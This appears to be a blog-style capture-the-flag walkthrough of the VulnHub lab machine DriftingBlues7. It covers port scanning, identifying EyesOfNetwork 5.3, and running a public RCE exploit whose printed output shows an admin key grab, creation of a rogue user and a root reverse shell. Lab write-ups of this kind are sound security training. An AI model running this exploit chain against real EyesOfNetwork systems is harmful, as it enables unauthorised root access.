Since I couldn’t get any more of the SunCSR boxes to run and there’s nothing new on THM, I took a shot at DriftingBlues7 on VulnHub. It says it is easy and they weren’t kidding; it took me 10 minutes.



22/tcp open ssh
66/tcp open sqlnet
80/tcp open http
111/tcp open rpcbind
443/tcp open https
2403/tcp open taskmaster2000 3306/tcp open mysql
8086/tcp open d-s-n

When I run the detail scan, port 66 is actually a python webserver so I go poke around there; nothing interesting. I check 80/443 and look at the certificate; not interesting. The frontpage is something called EyesOfNetwork. Checking searchsploit:

EyesOfNetwork (EON) 5.0 - Remote Code Execution                                         
EyesOfNetwork (EON) 5.0 - SQL Injection                                                 
EyesOfNetwork (EON) 5.1 - SQL Injection                                                 
EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)                     
EyesOfNetwork 5.1 - Authenticated Remote Command Execution                               
EyesOfNetwork 5.3 - File Upload Remote Code Execution                                   
EyesOfNetwork 5.3 - LFI                                                                 
EyesOfNetwork 5.3 - RCE & PrivEsc                                                       
EyesOfNetwork 5.3 - Remote Code Execution                                               

Juicy, but we need a version. I try a dirsearch and get (amongst other things) README.md, which says:

Eyes Of Network web interface 5.3

Okay, so that answers that. I grab the ‘RCE’ exploit shown above, it says txt but it’s actually a python3 script.


└─# python3 exploit.py -ip -port 1234                                                          2 ⨯
| EyesOfNetwork 5.3 RCE (API v2.4.2)                                          |
| 02/2020 - Clément Billac Twitter: @h4knet                                  |

[*] EyesOfNetwork login page found
[*] EyesOfNetwork API page found. API version: 2.4.2
[+] Admin user key obtained: 770af9aeda61b3a6ec36f619d5c84b5fd1526b2a368f339d9fd8b5b7c1a611f4
[+] New user h4ker successfully created. ID:2
[+] Successfully authenticated
[+] Discovery job successfully created with ID: 1&review=1" id="completemsg" style="display: none;">
<div class="roundedcorner_success_box">
<div class="roundedcorner_success_top"><div></div></div>
<div class="roundedcorner_success_content">
              Auto-Discovery Complete.  Click to Continue To Reviewing Found Devices
<div class="roundedcorner_success_bottom"><div></div></div>
[*]  Spawning netcat listener: 
listening on [] 1234 ...
connect to [] from (UNKNOWN) [] 47190
sh: no job control in this shell
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
Wed May  5 05:57:48 EDT 2021